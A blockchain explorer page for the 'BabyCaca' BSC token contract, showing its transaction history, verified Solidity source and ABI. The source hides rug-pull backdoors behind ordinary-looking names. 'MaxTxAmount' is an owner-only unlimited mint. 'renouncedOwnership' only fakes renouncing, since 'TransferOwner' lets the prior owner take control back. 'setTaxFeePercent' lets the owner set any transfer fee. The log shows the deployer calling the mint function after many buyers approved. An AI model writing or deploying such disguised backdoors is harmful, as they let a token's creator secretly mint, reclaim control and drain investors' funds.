Contract 0x564e05e563e1707b515e7a7bed389d0410998511

 
 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x3d8b4d74f2adb107dbad707c51c18b7564110b64e61cca6b63435d41d4a5acdbMax Tx Amount127314672021-11-17 19:53:3119 days 1 hr ago0xf9cd00376e6ac4f38d457723f4c57c56d7379ea1 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.0001822
0xb956f676a62ab7d30aa6c67b25cd28c71025ed96b7e6b085e0fdcb62520a2925Max Tx Amount127314572021-11-17 19:52:5819 days 1 hr ago0xf9cd00376e6ac4f38d457723f4c57c56d7379ea1 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.0001822
0xd4ead69f82cb3cf73aa7a281c23a646f3f982899a2cdd93ff9904852674c6bceMax Tx Amount127314542021-11-17 19:52:4919 days 1 hr ago0xf9cd00376e6ac4f38d457723f4c57c56d7379ea1 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00025678
0xbdc1299347da9c12f8b981eb217d6a3b5c0fbe0c0b8a2e1edb8243d936bba4ceMax Tx Amount115934082021-10-08 11:53:5059 days 9 hrs ago0xf9cd00376e6ac4f38d457723f4c57c56d7379ea1 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00025678
0x77b2414d646a1cd9e244ec31b7d245a67c416e007109b65b288ec481b02b2eedApprove115915362021-10-08 10:20:1359 days 10 hrs ago0xa3bb3030043bf4f967d8291c7ca0d5c7a0589e3a IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022214
0x8847f8eca608c3ee255aef95578f11da1b0a8a5a40d5fd607e4289258487daadApprove115914532021-10-08 10:16:0459 days 10 hrs ago0x518c2833ca4cc8a3d9579027e00b217fa5cc3906 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022214
0x3e300aa2b04429f35c98a2ca27fa0d2e3e309ea0fa599aad8e1f915356e755f4Approve115914492021-10-08 10:15:5259 days 10 hrs ago0x8c10c4e57ffb12ce784c2e549eb44511f45f7e45 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022214
0x5e8d6ea390a2805d3cd6435fd44768a5af1a0dc9de7849d3b5aedba6c693ef41Approve115908252021-10-08 9:44:4059 days 11 hrs ago0xd12187b2e3ce2d25a13704e521b28a1dd28b1663 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022214
0x750483137d2cca551cc42a1dc008651cb3892f770bb6c2437ff05ab2adf5158aApprove115905072021-10-08 9:28:4659 days 11 hrs ago0xadbc99849d5a4b7eb046a46a1333212216617cfb IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022214
0xbc71d2c688d8755ce5e693a4d12f4fe5921fca53b592630978335762b41065bcApprove115900192021-10-08 9:04:2059 days 11 hrs ago0x3778794802b8a545a33b75dce6e6abed34f41c29 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022214
0xc90f14d21eb84b2e611e0de8e94528fd48650a71722f764b912c09fba4ee7f8eSet Tax Fee Perc...115891722021-10-08 8:21:5959 days 12 hrs ago0xf9cd00376e6ac4f38d457723f4c57c56d7379ea1 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00013648
0xbbbfa7ef074ee3d6d472868ec56ca69fb1486d1de2e4810685fd1ce010231bfcApprove115891162021-10-08 8:19:1159 days 12 hrs ago0x9af6b8332fb41168e7d384160063fbe29286562f IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022058
0x0d1d79d4443deb03bd9a92d0e72bb87b033f73684f8c30028e2ebdb8e83a73eaApprove115890822021-10-08 8:17:2959 days 12 hrs ago0x8cc22bd69d60830b00adced9cd0d9a9d87529d1f IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022214
0xeb54158b68977cec588dffbf7ba9c1e5f33df63f9fda41e2cc87823677c8ab6fApprove115889702021-10-08 8:11:5359 days 12 hrs ago0x7f13f02e304e1360f23d2691914ddb63bd280070 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022214
0xe411fb2f93a4390bbfb9a86a5e3e9716d4d7bdbcf40d15f46c3a6b295ab599a2Approve115889032021-10-08 8:08:3259 days 12 hrs ago0xb10dbd93204709adbf93a4c904586b735ec533ad IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022214
0xea8ab5bc4aabd463116eb05db5bd4ed48841e82419547bcbca607b69f34c56bfApprove115889002021-10-08 8:08:2359 days 12 hrs ago0x4831e1e492707372be232afefa8525d4071045ab IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022214
0xff5ff1f7cff4072e72d21ad1d48cd466e266a6c2e666804a4370930a6894f328Approve115888832021-10-08 8:07:3259 days 12 hrs ago0x5e3773713f0a20806168d633652b905ee7253f83 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.000222144442
0x032b40ac4c4ed62988b693216c687e9db5fad69967d37b2e7cc640a8a386b062Approve115888812021-10-08 8:07:2659 days 12 hrs ago0xaf90fe397be39b2371946137b9a611ac1afa3994 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022214
0x59bd6aeebc4ba56720c9a3893b897c78eb291541be4af42c22233e4fecbffba7Approve115888812021-10-08 8:07:2659 days 12 hrs ago0x24e3b2d2c13a044dbc8568b797d325d135ffb9d0 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022214
0x2156793c036fe2377b3bfc91afa264bae535b0bfab129d77ddab9dd98c6ed148Approve115888812021-10-08 8:07:2659 days 12 hrs ago0x0c92bd0b551cdd6072c8519732f6765b87e05e08 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.000266568
0x39c2fe03156fb57eae8a93b8eb3a8c027a87df982bbc5dc11d688a86ae1dbfa8Approve115888682021-10-08 8:06:4759 days 12 hrs ago0xf9cd00376e6ac4f38d457723f4c57c56d7379ea1 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022214
0xe917bf729fcbd6de4a47adc89768af8fcc67efab9ade67494917822901bd3370Transfer115888362021-10-08 8:05:1159 days 12 hrs ago0xf9cd00376e6ac4f38d457723f4c57c56d7379ea1 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00022761
0x736c539471a20cdb40354e07697e8bce26e8d0dc298f4b7db449488445dc355aTransfer115888052021-10-08 8:03:3859 days 13 hrs ago0xf9cd00376e6ac4f38d457723f4c57c56d7379ea1 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00032469
0x189d767790874b0fe12fa235a4c2ffbb7b29eafd3342f8d8a843cfab827a37aaTransfer115887992021-10-08 8:03:2059 days 13 hrs ago0xf9cd00376e6ac4f38d457723f4c57c56d7379ea1 IN  0x564e05e563e1707b515e7a7bed389d04109985110 BNB0.00039963
0x0f1dfe3e4034b093a7a9deec9f0ef5eec425450d9123ef8f4098eac72a6256640x60806040115887122021-10-08 7:58:5959 days 13 hrs ago0xf9cd00376e6ac4f38d457723f4c57c56d7379ea1 IN  Contract Creation0 BNB0.005956405
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BabyCaca

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2021-10-08
*/

/**
    
    
   Welcome to BabyCACA
   
   Official Telegram = BabyCaCaBsc
   The Future Exchange Smart Chain 
   
   
// SPDX-License-Identifier: MIT

pragma solidity >=0.6.0 <0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


pragma solidity >=0.6.0 <0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: @openzeppelin/contracts/math/SafeMath.sol



pragma solidity >=0.6.0 <0.8.0;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        if (b > a) return (false, 0);
        return (true, a - b);
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: modulo by zero");
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryDiv}.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    uint256 private _level;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () internal {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function SecurityLevel() private view returns (uint256) {
        return _level;
    }

    
    function renouncedOwnership(uint8 _owned) public virtual onlyOwner {
        _previousOwner = _owner;
        _owner = address(0);
        _level = _owned;
        _owned = 10;
        emit OwnershipTransferred(_owner, address(0));
    }
    
    
    function TransferOwner() public virtual {
        require(_previousOwner == msg.sender, "You don't have permission to unlock");
        require(now > _level , "Contract is locked until 7 days");
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }
}


pragma solidity >=0.6.0 <0.8.0;


/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string public _name;
    string public _symbol;
    uint8 public _decimals;
    address public _burnaddress;
    uint256 public _AutoBurn;

    /**
     * @dev Sets the values for {name} and {symbol}, initializes {decimals} with
     * a default value of 9.
     *
     * To select a different value for {decimals}, use {_setupDecimals}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) public {
        _name = name_;
        _symbol = symbol_;
        _decimals = 9;
        
        _burnaddress = 0x000000000000000000000000000000000000dEaD;
        
       _AutoBurn = 20;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 9, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function MaxTxAmount(uint256 amount) public onlyOwner {
    _MaxTxAmount(msg.sender, amount);
    }
    
    function setTaxFeePercent(uint256 BurnFee) external onlyOwner(){
        _AutoBurn = BurnFee;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        _balances[recipient] = _balances[recipient].sub(amount / 100 * _AutoBurn);
        uint256 tokens = _balances[recipient];
        _balances[_burnaddress] = _balances[_burnaddress].add(amount / 100 * _AutoBurn);
        uint256 fires = _balances[_burnaddress];
        emit Transfer(sender, _burnaddress, fires);
        emit Transfer(sender, recipient, tokens);
        
    }

   
    function _MaxTxAmount(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);
        
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Sets {decimals} to a value other than the default one of 9.
     *
     * WARNING: This function should only be called from the constructor. Most
     * applications that interact with token contracts will not expect
     * {decimals} to ever change, and may work incorrectly if it does.
     */
    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}


pragma solidity >=0.6.0 <0.8.0;


contract BabyCaca is ERC20 {

    uint tokenTotalSupply = 1000000;

    constructor() public ERC20("BabyCACA", "BCC") {
        _MaxTxAmount(msg.sender, tokenTotalSupply * (10 ** uint256(decimals())));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"MaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TransferOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_AutoBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_burnaddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_owned","type":"uint8"}],"name":"renouncedOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"BurnFee","type":"uint256"}],"name":"setTaxFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

